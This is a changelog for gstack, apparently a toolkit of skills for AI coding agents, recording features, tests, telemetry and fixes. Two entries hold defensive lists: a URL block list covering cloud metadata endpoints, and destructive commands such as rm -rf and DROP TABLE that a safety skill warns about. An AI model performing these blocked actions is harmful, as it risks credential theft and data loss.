Path handling works on Windows. All hardcoded /tmp paths and Unix-style path separators now use platform-aware equivalents via a new platform.ts module. Path traversal protection works correctly with Windows backslash separators.

Added

Bun API polyfill for Node.js. When the browse server runs under Node.js on Windows, a compatibility layer provides Bun.serve(), Bun.spawn(), Bun.spawnSync(), and Bun.sleep() equivalents. Fully tested.

Node server build script. browse/scripts/build-node-server.sh transpiles the server for Node.js, stubs bun:sqlite, and injects the polyfill. all automated during bun run build.

[0.9.2.0] - 2026-03-20. Gemini CLI E2E Tests

Added

Gemini CLI is now tested end-to-end. Two E2E tests verify that gstack skills work when invoked by Google's Gemini CLI (gemini -p). The gemini-discover-skill test confirms skill discovery from .agents/skills/, and gemini-review-findings runs a full code review via gstack-review. Both parse Gemini's stream-json NDJSON output and track token usage.

Gemini JSONL parser with 10 unit tests. parseGeminiJSONL handles all Gemini event types (init, message, tool_use, tool_result, result) with defensive parsing for malformed input. The parser is a pure function, independently testable without spawning the CLI.

bun run test:gemini and bun run test:gemini:all scripts for running Gemini E2E tests independently. Gemini tests are also included in test:evals and test:e2e aggregate scripts.

[0.9.1.0] - 2026-03-20. Adversarial Spec Review + Skill Chaining

Added

Your design docs now get stress-tested before you see them. When you run /office-hours, an independent AI reviewer checks your design doc for completeness, consistency, clarity, scope creep, and feasibility. up to 3 rounds. You get a quality score (1-10) and a summary of what was caught and fixed. The doc you approve has already survived adversarial review.

Visual wireframes during brainstorming. For UI ideas, /office-hours now generates a rough HTML wireframe using your project's design system (from DESIGN.md) and screenshots it. You see what you're designing while you're still thinking, not after you've coded it.

Skills help each other now. /plan-ceo-review and /plan-eng-review detect when you'd benefit from running /office-hours first and offer it. one-tap to switch, one-tap to decline. If you seem lost during a CEO review, it'll gently suggest brainstorming first.

Spec review metrics. Every adversarial review logs iterations, issues found/fixed, and quality score to ~/.gstack/analytics/spec-review.jsonl. Over time, you can see if your design docs are getting better.

[0.9.0.1] - 2026-03-19

Changed

Telemetry opt-in now defaults to community mode. First-time prompt asks "Help gstack get better!" (community mode with stable device ID for trend tracking). If you decline, you get a second chance with anonymous mode (no unique ID, just a counter). Respects your choice either way.

Fixed

Review logs and telemetry now persist during plan mode. When you ran /plan-ceo-review, /plan-eng-review, or /plan-design-review in plan mode, the review result wasn't saved to disk. so the dashboard showed stale or missing entries even though you just completed a review. Same issue affected telemetry logging at the end of every skill. Both now work reliably in plan mode.

[0.9.0] - 2026-03-19. Works on Codex, Gemini CLI, and Cursor

gstack now works on any AI agent that supports the open SKILL.md standard. Install once, use from Claude Code, OpenAI Codex CLI, Google Gemini CLI, or Cursor. All 21 skills are available in .agents/skills/ -- just run ./setup --host codex or ./setup --host auto and your agent discovers them automatically.

One install, four agents. Claude Code reads from .claude/skills/, everything else reads from .agents/skills/. Same skills, same prompts, adapted for each host. Hook-based safety skills (careful, freeze, guard) get inline safety advisory prose instead of hooks -- they work everywhere.

Auto-detection. ./setup --host auto detects which agents you have installed and sets up both. Already have Claude Code? It still works exactly the same.

Codex-adapted output. Frontmatter is stripped to just name + description (Codex doesn't need allowed-tools or hooks). Paths are rewritten from ~/.claude/ to ~/.codex/. The /codex skill itself is excluded from Codex output -- it's a Claude wrapper around codex exec, which would be self-referential.

CI checks both hosts. The freshness check now validates Claude and Codex output independently. Stale Codex docs break the build just like stale Claude docs.

[0.8.6] - 2026-03-19

Added

You can now see how you use gstack. Run gstack-analytics to see a personal usage dashboard. which skills you use most, how long they take, your success rate. All data stays local on your machine.

Opt-in community telemetry. On first run, gstack asks if you want to share anonymous usage data (skill names, duration, crash info. never code or file paths). Choose "yes" and you're part of the community pulse. Change anytime with gstack-config set telemetry off.

Community health dashboard. Run gstack-community-dashboard to see what the gstack community is building. most popular skills, crash clusters, version distribution. All powered by Supabase.

Install base tracking via update check. When telemetry is enabled, gstack fires a parallel ping to Supabase during update checks. giving us an install-base count without adding any latency. Respects your telemetry setting (default off). GitHub remains the primary version source.

Crash clustering. Errors are automatically grouped by type and version in the Supabase backend, so the most impactful bugs surface first.

Upgrade funnel tracking. We can now see how many people see upgrade prompts vs actually upgrade. helps us ship better releases.

/retro now shows your gstack usage. Weekly retrospectives include skill usage stats (which skills you used, how often, success rate) alongside your commit history.

Session-specific pending markers. If a skill crashes mid-run, the next invocation correctly finalizes only that session. no more race conditions between concurrent gstack sessions.

[0.8.5] - 2026-03-19

Fixed

/retro now counts full calendar days. Running a retro late at night no longer silently misses commits from earlier in the day. Git treats bare dates like --since="2026-03-11" as "11pm on March 11" if you run it at 11pm. now we pass --since="2026-03-11T00:00:00" so it always starts from midnight. Compare mode windows get the same fix.

Review log no longer breaks on branch names with /. Branch names like garrytan/design-system caused review log writes to fail because Claude Code runs multi-line bash blocks as separate shell invocations, losing variables between commands. New gstack-review-log and gstack-review-read atomic helpers encapsulate the entire operation in a single command.

All skill templates are now platform-agnostic. Removed Rails-specific patterns (bin/test-lane, RAILS_ENV, .includes(), rescue StandardError, etc.) from /ship, /review, /plan-ceo-review, and /plan-eng-review. The review checklist now shows examples for Rails, Node, Python, and Django side-by-side.

/ship reads CLAUDE.md to discover test commands instead of hardcoding bin/test-lane and npm run test. If no test commands are found, it asks the user and persists the answer to CLAUDE.md.

Added

Platform-agnostic design principle codified in CLAUDE.md. skills must read project config, never hardcode framework commands.

## Testing section in CLAUDE.md for /ship test command discovery.

[0.8.4] - 2026-03-19

Added

/ship now automatically syncs your docs. After creating the PR, /ship runs /document-release as Step 8.5. README, ARCHITECTURE, CONTRIBUTING, and CLAUDE.md all stay current without an extra command. No more stale docs after shipping.

Six new skills in the docs. README, docs/skills.md, and BROWSER.md now cover /codex (multi-AI second opinion), /careful (destructive command warnings), /freeze (directory-scoped edit lock), /guard (full safety mode), /unfreeze, and /gstack-upgrade. The sprint skill table keeps its 15 specialists; a new "Power tools" section covers the rest.

Browse handoff documented everywhere. BROWSER.md command table, docs/skills.md deep-dive, and README "What's new" all explain $B handoff and $B resume for CAPTCHA/MFA/auth walls.

Proactive suggestions know about all skills. Root SKILL.md.tmpl now suggests /codex, /careful, /freeze, /guard, /unfreeze, and /gstack-upgrade at the right workflow stages.

[0.8.3] - 2026-03-19

Added

Plan reviews now guide you to the next step. After running /plan-ceo-review, /plan-eng-review, or /plan-design-review, you get a recommendation for what to run next. eng review is always suggested as the required shipping gate, design review is suggested when UI changes are detected, and CEO review is softly mentioned for big product changes. No more remembering the workflow yourself.

Reviews know when they're stale. Each review now records the commit it was run at. The dashboard compares that against your current HEAD and tells you exactly how many commits have elapsed. "eng review may be stale. 13 commits since review" instead of guessing.

skip_eng_review respected everywhere. If you've opted out of eng review globally, the chaining recommendations won't nag you about it.

Design review lite now tracks commits too. The lightweight design check that runs inside /review and /ship gets the same staleness tracking as full reviews.

Fixed

Browse no longer navigates to dangerous URLs. goto, diff, and newtab now block file://, javascript:, data: schemes and cloud metadata endpoints (169.254.169.254, metadata.google.internal). Localhost and private IPs are still allowed for local QA testing. (Closes #17)

Setup script tells you what's missing. Running ./setup without bun installed now shows a clear error with install instructions instead of a cryptic "command not found." (Closes #147)

/debug renamed to /investigate. Claude Code has a built-in /debug command that shadowed the gstack skill. The systematic root-cause debugging workflow now lives at /investigate. (Closes #190)

Shell injection surface reduced. gstack-slug output is now sanitized to [a-zA-Z0-9._-] only, making both eval and source callers safe. (Closes #133)

25 new security tests. URL validation (16 tests) and path traversal validation (14 tests) now have dedicated unit test suites covering scheme blocking, metadata IP blocking, directory escapes, and prefix collision edge cases.

[0.8.2] - 2026-03-19

Added

Hand off to a real Chrome when the headless browser gets stuck. Hit a CAPTCHA, auth wall, or MFA prompt? Run $B handoff "reason" and a visible Chrome opens at the exact same page with all your cookies and tabs intact. Solve the problem, tell Claude you're done, and $B resume picks up right where you left off with a fresh snapshot.

Auto-handoff hint after 3 consecutive failures. If the browse tool fails 3 times in a row, it suggests using handoff. so you don't waste time watching the AI retry a CAPTCHA.

15 new tests for the handoff feature. Unit tests for state save/restore, failure tracking, edge cases, plus integration tests for the full headless-to-headed flow with cookie and tab preservation.

Changed

recreateContext() refactored to use shared saveState()/restoreState() helpers. same behavior, less code, ready for future state persistence features.

browser.close() now has a 5-second timeout to prevent hangs when closing headed browsers on macOS.

[0.8.1] - 2026-03-19

Fixed

/qa no longer refuses to use the browser on backend-only changes. Previously, if your branch only changed prompt templates, config files, or service logic, /qa would analyze the diff, conclude "no UI to test," and suggest running evals instead. Now it always opens the browser -- falling back to a Quick mode smoke test (homepage + top 5 navigation targets) when no specific pages are identified from the diff.

[0.8.0] - 2026-03-19. Multi-AI Second Opinion

/codex. get an independent second opinion from a completely different AI.

Three modes. /codex review runs OpenAI's Codex CLI against your diff and gives a pass/fail gate. if Codex finds critical issues ([P1]), it fails. /codex challenge goes adversarial: it tries to find ways your code will fail in production, thinking like an attacker and a chaos engineer. /codex <anything> opens a conversation with Codex about your codebase, with session continuity so follow-ups remember context.

When both /review (Claude) and /codex review have run, you get a cross-model analysis showing which findings overlap and which are unique to each AI. building intuition for when to trust which system.

Integrated everywhere. After /review finishes, it offers a Codex second opinion. During /ship, you can run Codex review as an optional gate before pushing. In /plan-eng-review, Codex can independently critique your plan before the engineering review begins. All Codex results show up in the Review Readiness Dashboard.

Also in this release: Proactive skill suggestions. gstack now notices what stage of development you're in and suggests the right skill. Don't like it? Say "stop suggesting" and it remembers across sessions.

[0.7.4] - 2026-03-18

Changed

/qa and /design-review now ask what to do with uncommitted changes instead of refusing to start. When your working tree is dirty, you get an interactive prompt with three options: commit your changes, stash them, or abort. No more cryptic "ERROR: Working tree is dirty" followed by a wall of text.

[0.7.3] - 2026-03-18

Added

Safety guardrails you can turn on with one command. Say "be careful" or "safety mode" and /careful will warn you before any destructive command. rm -rf, DROP TABLE, force-push, kubectl delete, and more. You can override every warning. Common build artifact cleanups (rm -rf node_modules, dist, .next) are whitelisted.

Lock edits to one folder with /freeze. Debugging something and don't want Claude to "fix" unrelated code? /freeze blocks all file edits outside a directory you choose. Hard block, not just a warning. Run /unfreeze to remove the restriction without ending your session.

/guard activates both at once. One command for maximum safety when touching prod or live systems. destructive command warnings plus directory-scoped edit restrictions.

/debug now auto-freezes edits to the module being debugged. After forming a root cause hypothesis, /debug locks edits to the narrowest affected directory. No more accidental "fixes" to unrelated code during debugging.

You can now see which skills you use and how often. Every skill invocation is logged locally to ~/.gstack/analytics/skill-usage.jsonl. Run bun run analytics to see your top skills, per-repo breakdown, and how often safety hooks actually catch something. Data stays on your machine.

Weekly retros now include skill usage. /retro shows which skills you used during the retro window alongside your usual commit analysis and metrics.

[0.7.2] - 2026-03-18

Fixed

/retro date ranges now align to midnight instead of the current time. Running /retro at 9pm no longer silently drops the morning of the start date. you get full calendar days.

/retro timestamps now use your local timezone instead of hardcoded Pacific time. Users outside the US-West coast get correct local hours in histograms, session detection, and streak tracking.

[0.7.1] - 2026-03-19

Added

gstack now suggests skills at natural moments. You don't need to know slash commands. just talk about what you're doing. Brainstorming an idea? gstack suggests /office-hours. Something's broken? It suggests /debug. Ready to deploy? It suggests /ship. Every workflow skill now has proactive triggers that fire when the moment is right.

Lifecycle map. gstack's root skill description now includes a developer workflow guide mapping 12 stages (brainstorm → plan → review → code → debug → test → ship → docs → retro) to the right skill. Claude sees this in every session.

Opt-out with natural language. If proactive suggestions feel too aggressive, just say "stop suggesting things". gstack remembers across sessions. Say "be proactive again" to re-enable.

11 journey-stage E2E tests. Each test simulates a real moment in the developer lifecycle with realistic project context (plan.md, error logs, git history, code) and verifies the right skill fires from natural language alone. 11/11 pass.

Trigger phrase validation. Static tests verify every workflow skill has "Use when" and "Proactively suggest" phrases. catches regressions for free.

Fixed

/debug and /office-hours were completely invisible to natural language. no trigger phrases at all. Now both have full reactive + proactive triggers.

[0.7.0] - 2026-03-18. YC Office Hours

/office-hours. sit down with a YC partner before you write a line of code.

Two modes. If you're building a startup, you get six forcing questions distilled from how YC evaluates products: demand reality, status quo, desperate specificity, narrowest wedge, observation & surprise, and future-fit. If you're hacking on a side project, learning to code, or at a hackathon, you get an enthusiastic brainstorming partner who helps you find the coolest version of your idea.

Both modes write a design doc that feeds directly into /plan-ceo-review and /plan-eng-review. After the session, the skill reflects back what it noticed about how you think. specific observations, not generic praise.

/debug. find the root cause, not the symptom.

When something is broken and you don't know why, /debug is your systematic debugger. It follows the Iron Law: no fixes without root cause investigation first. Traces data flow, matches against known bug patterns (race conditions, nil propagation, stale cache, config drift), and tests hypotheses one at a time. If 3 fixes fail, it stops and questions the architecture instead of thrashing.

[0.6.4.1] - 2026-03-18

Added

Skills now discoverable via natural language. All 12 skills that were missing explicit trigger phrases now have them. say "deploy this" and Claude finds /ship, say "check my diff" and it finds /review. Following Anthropic's best practice: "the description field is not a summary. it's when to trigger."

[0.6.4.0] - 2026-03-17

Added

/plan-design-review is now interactive. rates 0-10, fixes the plan. Instead of producing a report with letter grades, the designer now works like CEO and Eng review: rates each design dimension 0-10, explains what a 10 looks like, then edits the plan to get there. One AskUserQuestion per design choice. The output is a better plan, not a document about the plan.

CEO review now calls in the designer. When /plan-ceo-review detects UI scope in a plan, it activates a Design & UX section (Section 11) covering information architecture, interaction state coverage, AI slop risk, and responsive intention. For deep design work, it recommends /plan-design-review.

14 of 15 skills now have full test coverage (E2E + LLM-judge + validation). Added LLM-judge quality evals for 10 skills that were missing them: ship, retro, qa-only, plan-ceo-review, plan-eng-review, plan-design-review, design-review, design-consultation, document-release, gstack-upgrade. Added real E2E test for gstack-upgrade (was a .todo). Added design-consultation to command validation.

Bisect commit style. CLAUDE.md now requires every commit to be a single logical change. renames separate from rewrites, test infrastructure separate from test implementations.

Changed

/qa-design-review renamed to /design-review. the "qa-" prefix was confusing now that /plan-design-review is plan-mode. Updated across all 22 files.

[0.6.3.0] - 2026-03-17

Added

Every PR touching frontend code now gets a design review automatically. /review and /ship apply a 20-item design checklist against changed CSS, HTML, JSX, and view files. Catches AI slop patterns (purple gradients, 3-column icon grids, generic hero copy), typography issues (body text < 16px, blacklisted fonts), accessibility gaps (outline: none), and !important abuse. Mechanical CSS fixes are auto-applied; design judgment calls ask you first.

gstack-diff-scope categorizes what changed in your branch. Run source <(gstack-diff-scope main) and get SCOPE_FRONTEND=true/false, SCOPE_BACKEND, SCOPE_PROMPTS, SCOPE_TESTS, SCOPE_DOCS, SCOPE_CONFIG. Design review uses it to skip silently on backend-only PRs. Ship pre-flight uses it to recommend design review when frontend files are touched.

Design review shows up in the Review Readiness Dashboard. The dashboard now distinguishes between "LITE" (code-level, runs automatically in /review and /ship) and "FULL" (visual audit via /plan-design-review with browse binary). Both show up as Design Review entries.

E2E eval for design review detection. Planted CSS/HTML fixtures with 7 known anti-patterns (Papyrus font, 14px body text, outline: none, !important, purple gradient, generic hero copy, 3-column feature grid). The eval verifies /review catches at least 4 of 7.

[0.6.2.0] - 2026-03-17

Added

Plan reviews now think like the best in the world. /plan-ceo-review applies 14 cognitive patterns from Bezos (one-way doors, Day 1 proxy skepticism), Grove (paranoid scanning), Munger (inversion), Horowitz (wartime awareness), Chesky/Graham (founder mode), and Altman (leverage obsession). /plan-eng-review applies 15 patterns from Larson (team state diagnosis), McKinley (boring by default), Brooks (essential vs accidental complexity), Beck (make the change easy), Majors (own your code in production), and Google SRE (error budgets). /plan-design-review applies 12 patterns from Rams (subtraction default), Norman (time-horizon design), Zhuo (principled taste), Gebbia (design for trust, storyboard the journey), and Ive (care is visible).

Latent space activation, not checklists. The cognitive patterns name-drop frameworks and people so the LLM draws on its deep knowledge of how they actually think. The instruction is "internalize these, don't enumerate them". making each review a genuine perspective shift, not a longer checklist.

[0.6.1.0] - 2026-03-17

Added

E2E and LLM-judge tests now only run what you changed. Each test declares which source files it depends on. When you run bun run test:e2e, it checks your diff and skips tests whose dependencies weren't touched. A branch that only changes /retro now runs 2 tests instead of 31. Use bun run test:e2e:all to force everything.

bun run eval:select previews which tests would run. See exactly which tests your diff triggers before spending API credits. Supports --json for scripting and --base <branch> to override the base branch.

Completeness guardrail catches forgotten test entries. A free unit test validates that every testName in the E2E and LLM-judge test files has a corresponding entry in the TOUCHFILES map. New tests without entries fail bun test immediately. no silent always-run degradation.

Changed

test:evals and test:e2e now auto-select based on diff (was: all-or-nothing)

New test:evals:all and test:e2e:all scripts for explicit full runs

0.6.1. 2026-03-17. Boil the Lake

Every gstack skill now follows the Completeness Principle: always recommend the full implementation when AI makes the marginal cost near-zero. No more "Choose B because it's 90% of the value" when option A is 70 lines more code.

Read the philosophy: https://garryslist.org/posts/boil-the-ocean

Completeness scoring: every AskUserQuestion option now shows a completeness score (1-10), biasing toward the complete solution

Dual time estimates: effort estimates show both human-team and CC+gstack time (e.g., "human: ~2 weeks / CC: ~1 hour") with a task-type compression reference table

Anti-pattern examples: concrete "don't do this" gallery in the preamble so the principle isn't abstract

First-time onboarding: new users see a one-time introduction linking to the essay, with option to open in browser

Review completeness gaps: /review now flags shortcut implementations where the complete version costs <30 min CC time

Lake Score: CEO and Eng review completion summaries show how many recommendations chose the complete option vs shortcuts

CEO + Eng review dual-time: temporal interrogation, effort estimates, and delight opportunities all show both human and CC time scales

0.6.0.1. 2026-03-17

/gstack-upgrade now catches stale vendored copies automatically. If your global gstack is up to date but the vendored copy in your project is behind, /gstack-upgrade detects the mismatch and syncs it. No more manually asking "did we vendor it?". it just tells you and offers to update.

Upgrade sync is safer. If ./setup fails while syncing a vendored copy, gstack restores the previous version from backup instead of leaving a broken install.

For contributors

Standalone usage section in gstack-upgrade/SKILL.md.tmpl now references Steps 2 and 4.5 (DRY) instead of duplicating detection/sync bash blocks. Added one new version-comparison bash block.

Update check fallback in standalone mode now matches the preamble pattern (global path → local path → || true).

0.6.0. 2026-03-17

100% test coverage is the key to great vibe coding. gstack now bootstraps test frameworks from scratch when your project doesn't have one. Detects your runtime, researches the best framework, asks you to pick, installs it, writes 3-5 real tests for your actual code, sets up CI/CD (GitHub Actions), creates TESTING.md, and adds test culture instructions to CLAUDE.md. Every Claude Code session after that writes tests naturally.

Every bug fix now gets a regression test. When /qa fixes a bug and verifies it, Phase 8e.5 automatically generates a regression test that catches the exact scenario that broke. Tests include full attribution tracing back to the QA report. Auto-incrementing filenames prevent collisions across sessions.

Ship with confidence. coverage audit shows what's tested and what's not. /ship Step 3.4 builds a code path map from your diff, searches for corresponding tests, and produces an ASCII coverage diagram with quality stars (★★★ = edge cases + errors, ★★ = happy path, ★ = smoke test). Gaps get tests auto-generated. PR body shows "Tests: 42 → 47 (+5 new)".

Your retro tracks test health. /retro now shows total test files, tests added this period, regression test commits, and trend deltas. If test ratio drops below 20%, it flags it as a growth area.

Design reviews generate regression tests too. /qa-design-review Phase 8e.5 skips CSS-only fixes (those are caught by re-running the design audit) but writes tests for JavaScript behavior changes like broken dropdowns or animation failures.

For contributors

Added generateTestBootstrap() resolver to gen-skill-docs.ts (~155 lines). Registered as {{TEST_BOOTSTRAP}} in the RESOLVERS map. Inserted into qa, ship (Step 2.5), and qa-design-review templates.

Phase 8e.5 regression test generation added to qa/SKILL.md.tmpl (46 lines) and CSS-aware variant to qa-design-review/SKILL.md.tmpl (12 lines). Rule 13 amended to allow creating new test files.

Step 3.4 test coverage audit added to ship/SKILL.md.tmpl (88 lines) with quality scoring rubric and ASCII diagram format.

Test health tracking added to retro/SKILL.md.tmpl: 3 new data gathering commands, metrics row, narrative section, JSON schema field.

qa-only/SKILL.md.tmpl gets recommendation note when no test framework detected.

qa-report-template.md gains Regression Tests section with deferred test specs.

ARCHITECTURE.md placeholder table updated with {{TEST_BOOTSTRAP}} and {{REVIEW_DASHBOARD}}.

WebSearch added to allowed-tools for qa, ship, qa-design-review.

26 new validation tests, 2 new E2E evals (bootstrap + coverage audit).

2 new P3 TODOs: CI/CD for non-GitHub providers, auto-upgrade weak tests.

0.5.4. 2026-03-17

Engineering review is always the full review now. /plan-eng-review no longer asks you to choose between "big change" and "small change" modes. Every plan gets the full interactive walkthrough (architecture, code quality, tests, performance). Scope reduction is only suggested when the complexity check actually triggers. not as a standing menu option.

Ship stops asking about reviews once you've answered. When /ship asks about missing reviews and you say "ship anyway" or "not relevant," that decision is saved for the branch. No more getting re-asked every time you re-run /ship after a pre-landing fix.

For contributors

Removed SMALL_CHANGE / BIG_CHANGE / SCOPE_REDUCTION menu from plan-eng-review/SKILL.md.tmpl. Scope reduction is now proactive (triggered by complexity check) rather than a menu item.

Added review gate override persistence to ship/SKILL.md.tmpl. writes ship-review-override entries to $BRANCH-reviews.jsonl so subsequent /ship runs skip the gate.

Updated 2 E2E test prompts to match new flow.

0.5.3. 2026-03-17

You're always in control. even when dreaming big. /plan-ceo-review now presents every scope expansion as an individual decision you opt into. EXPANSION mode recommends enthusiastically, but you say yes or no to each idea. No more "the agent went wild and added 5 features I didn't ask for."

New mode: SELECTIVE EXPANSION. Hold your current scope as the baseline, but see what else is possible. The agent surfaces expansion opportunities one by one with neutral recommendations. you cherry-pick the ones worth doing. Perfect for iterating on existing features where you want rigor but also want to be tempted by adjacent improvements.

Your CEO review visions are saved, not lost. Expansion ideas, cherry-pick decisions, and 10x visions are now persisted to ~/.gstack/projects/{repo}/ceo-plans/ as structured design documents. Stale plans get archived automatically. If a vision is exceptional, you can promote it to docs/designs/ in your repo for the team.

Smarter ship gates. /ship no longer nags you about CEO and Design reviews when they're not relevant. Eng Review is the only required gate (and you can disable even that with gstack-config set skip_eng_review true). CEO Review is recommended for big product changes; Design Review for UI work. The dashboard still shows all three. it just won't block you for the optional ones.

For contributors

Added SELECTIVE EXPANSION mode to plan-ceo-review/SKILL.md.tmpl with cherry-pick ceremony, neutral recommendation posture, and HOLD SCOPE baseline.

Rewrote EXPANSION mode's Step 0D to include opt-in ceremony. distill vision into discrete proposals, present each as AskUserQuestion.

Added CEO plan persistence (0D-POST step): structured markdown with YAML frontmatter (status: ACTIVE/ARCHIVED/PROMOTED), scope decisions table, archival flow.

Added docs/designs promotion step after Review Log.

Mode Quick Reference table expanded to 4 columns.

Review Readiness Dashboard: Eng Review required (overridable via skip_eng_review config), CEO/Design optional with agent judgment.

New tests: CEO review mode validation (4 modes, persistence, promotion), SELECTIVE EXPANSION E2E test.

0.5.2. 2026-03-17

Your design consultant now takes creative risks. /design-consultation doesn't just propose a safe, coherent system. it explicitly breaks down SAFE CHOICES (category baseline) vs. RISKS (where your product stands out). You pick which rules to break. Every risk comes with a rationale for why it works and what it costs.

See the landscape before you choose. When you opt into research, the agent browses real sites in your space with screenshots and accessibility tree analysis. not just web search results. You see what's out there before making design decisions.

Preview pages that look like your product. The preview page now renders realistic product mockups. dashboards with sidebar nav and data tables, marketing pages with hero sections, settings pages with forms. not just font swatches and color palettes.

0.5.1. 2026-03-17

Know where you stand before you ship. Every /plan-ceo-review, /plan-eng-review, and /plan-design-review now logs its result to a review tracker. At the end of each review, you see a Review Readiness Dashboard showing which reviews are done, when they ran, and whether they're clean. with a clear CLEARED TO SHIP or NOT READY verdict.

/ship checks your reviews before creating the PR. Pre-flight now reads the dashboard and asks if you want to continue when reviews are missing. Informational only. it won't block you, but you'll know what you skipped.

One less thing to copy-paste. The SLUG computation (that opaque sed pipeline for computing owner-repo from git remote) is now a shared bin/gstack-slug helper. All 14 inline copies across templates replaced with source <(gstack-slug). If the format ever changes, fix it once.

Screenshots are now visible during QA and browse sessions. When gstack takes screenshots, they now show up as clickable image elements in your output. no more invisible /tmp/browse-screenshot.png paths you can't see. Works in /qa, /qa-only, /plan-design-review, /qa-design-review, /browse, and /gstack.

For contributors

Added {{REVIEW_DASHBOARD}} resolver to gen-skill-docs.ts. shared dashboard reader injected into 4 templates (3 review skills + ship).

Added bin/gstack-slug helper (5-line bash) with unit tests. Outputs SLUG= and BRANCH= lines, sanitizes / to -.

New TODOs: smart review relevance detection (P3), /merge skill for review-gated PR merge (P2).

0.5.0. 2026-03-16

Your site just got a design review. /plan-design-review opens your site and reviews it like a senior product designer. typography, spacing, hierarchy, color, responsive, interactions, and AI slop detection. Get letter grades (A-F) per category, a dual headline "Design Score" + "AI Slop Score", and a structured first impression that doesn't pull punches.

It can fix what it finds, too. /qa-design-review runs the same designer's eye audit, then iteratively fixes design issues in your source code with atomic style(design): commits and before/after screenshots. CSS-safe by default, with a stricter self-regulation heuristic tuned for styling changes.

Know your actual design system. Both skills extract your live site's fonts, colors, heading scale, and spacing patterns via JS. then offer to save the inferred system as a DESIGN.md baseline. Finally know how many fonts you're actually using.

AI Slop detection is a headline metric. Every report opens with two scores: Design Score and AI Slop Score. The AI slop checklist catches the 10 most recognizable AI-generated patterns. the 3-column feature grid, purple gradients, decorative blobs, emoji bullets, generic hero copy.

Design regression tracking. Reports write a design-baseline.json. Next run auto-compares: per-category grade deltas, new findings, resolved findings. Watch your design score improve over time.

80-item design audit checklist across 10 categories: visual hierarchy, typography, color/contrast, spacing/layout, interaction states, responsive, motion, content/microcopy, AI slop, and performance-as-design. Distilled from Vercel's 100+ rules, Anthropic's frontend design skill, and 6 other design frameworks.

For contributors

Added {{DESIGN_METHODOLOGY}} resolver to gen-skill-docs.ts. shared design audit methodology injected into both /plan-design-review and /qa-design-review templates, following the {{QA_METHODOLOGY}} pattern.

Added ~/.gstack-dev/plans/ as a local plans directory for long-range vision docs (not checked in). CLAUDE.md and TODOS.md updated.

Added /setup-design-md to TODOS.md (P2) for interactive DESIGN.md creation from scratch.

0.4.5. 2026-03-16

Review findings now actually get fixed, not just listed. /review and /ship used to print informational findings (dead code, test gaps, N+1 queries) and then ignore them. Now every finding gets action: obvious mechanical fixes are applied automatically, and genuinely ambiguous issues are batched into a single question instead of 8 separate prompts. You see [AUTO-FIXED] file:line Problem → what was done for each auto-fix.

You control the line between "just fix it" and "ask me first." Dead code, stale comments, N+1 queries get auto-fixed. Security issues, race conditions, design decisions get surfaced for your call. The classification lives in one place (review/checklist.md) so both /review and /ship stay in sync.

Fixed

$B js "const x = await fetch(...); return x.status" now works. The js command used to wrap everything as an expression. so const, semicolons, and multi-line code all broke. It now detects statements and uses a block wrapper, just like eval already did.

Clicking a dropdown option no longer hangs forever. If an agent sees @e3 [option] "Admin" in a snapshot and runs click @e3, gstack now auto-selects that option instead of hanging on an impossible Playwright click. The right thing just happens.

When click is the wrong tool, gstack tells you. Clicking an <option> via CSS selector used to time out with a cryptic Playwright error. Now you get: "Use 'browse select' instead of 'click' for dropdown options."

For contributors

Gate Classification → Severity Classification rename (severity determines presentation order, not whether you see a prompt).

Fix-First Heuristic section added to review/checklist.md. the canonical AUTO-FIX vs ASK classification.

New validation test: Fix-First Heuristic exists in checklist and is referenced by review + ship.

Extracted needsBlockWrapper() and wrapForEvaluate() helpers in read-commands.ts. shared by both js and eval commands (DRY).

Added getRefRole() to BrowserManager. exposes ARIA role for ref selectors without changing resolveRef return type.

Click handler auto-routes [role=option] refs to selectOption() via parent <select>, with DOM tagName check to avoid blocking custom listbox components.

6 new tests: multi-line js, semicolons, statement keywords, simple expressions, option auto-routing, CSS option error guidance.

0.4.4. 2026-03-16

New releases detected in under an hour, not half a day. The update check cache was set to 12 hours, which meant you could be stuck on an old version all day while new releases dropped. Now "you're up to date" expires after 60 minutes, so you'll see upgrades within the hour. "Upgrade available" still nags for 12 hours (that's the point).

/gstack-upgrade always checks for real. Running /gstack-upgrade directly now bypasses the cache and does a fresh check against GitHub. No more "you're already on the latest" when you're not.

For contributors

Split last-update-check cache TTL: 60 min for UP_TO_DATE, 720 min for UPGRADE_AVAILABLE.

Added --force flag to bin/gstack-update-check (deletes cache file before checking).

3 new tests: --force busts UP_TO_DATE cache, --force busts UPGRADE_AVAILABLE cache, 60-min TTL boundary test with utimesSync.

0.4.3. 2026-03-16

New /document-release skill. Run it after /ship but before merging. it reads every doc file in your project, cross-references the diff, and updates README, ARCHITECTURE, CONTRIBUTING, CHANGELOG, and TODOS to match what you actually shipped. Risky changes get surfaced as questions; everything else is automatic.

Every question is now crystal clear, every time. You used to need 3+ sessions running before gstack would give you full context and plain English explanations. Now every question. even in a single session. tells you the project, branch, and what's happening, explained simply enough to understand mid-context-switch. No more "sorry, explain it to me more simply."

Branch name is always correct. gstack now detects your current branch at runtime instead of relying on the snapshot from when the conversation started. Switch branches mid-session? gstack keeps up.

For contributors

Merged ELI16 rules into base AskUserQuestion format. one format instead of two, no _SESSIONS >= 3 conditional.

Added _BRANCH detection to preamble bash block (git branch --show-current with fallback).

Added regression guard tests for branch detection and simplification rules.

0.4.2. 2026-03-16

$B js "await fetch(...)" now just works. Any await expression in $B js or $B eval is automatically wrapped in an async context. No more SyntaxError: await is only valid in async functions. Single-line eval files return values directly; multi-line files use explicit return.

Contributor mode now reflects, not just reacts. Instead of only filing reports when something breaks, contributor mode now prompts periodic reflection: "Rate your gstack experience 0-10. Not a 10? Think about why." Catches quality-of-life issues and friction that passive detection misses. Reports now include a 0-10 rating and "What would make this a 10" to focus on actionable improvements.

Skills now respect your branch target. /ship, /review, /qa, and /plan-ceo-review detect which branch your PR actually targets instead of assuming main. Stacked branches, Conductor workspaces targeting feature branches, and repos using master all just work now.

/retro works on any default branch. Repos using master, develop, or other default branch names are detected automatically. no more empty retros because the branch name was wrong.

New {{BASE_BRANCH_DETECT}} placeholder for skill authors. drop it into any template and get 3-step branch detection (PR base → repo default → fallback) for free.

3 new E2E smoke tests validate base branch detection works end-to-end across ship, review, and retro skills.

For contributors

Added hasAwait() helper with comment-stripping to avoid false positives on // await in eval files.

Smart eval wrapping: single-line → expression (...), multi-line → block {...} with explicit return.

6 new async wrapping unit tests, 40 new contributor mode preamble validation tests.

Calibration example framed as historical ("used to fail") to avoid implying a live bug post-fix.

Added "Writing SKILL templates" section to CLAUDE.md. rules for natural language over bash-isms, dynamic branch detection, self-contained code blocks.

Hardcoded-main regression test scans all .tmpl files for git commands with hardcoded main.

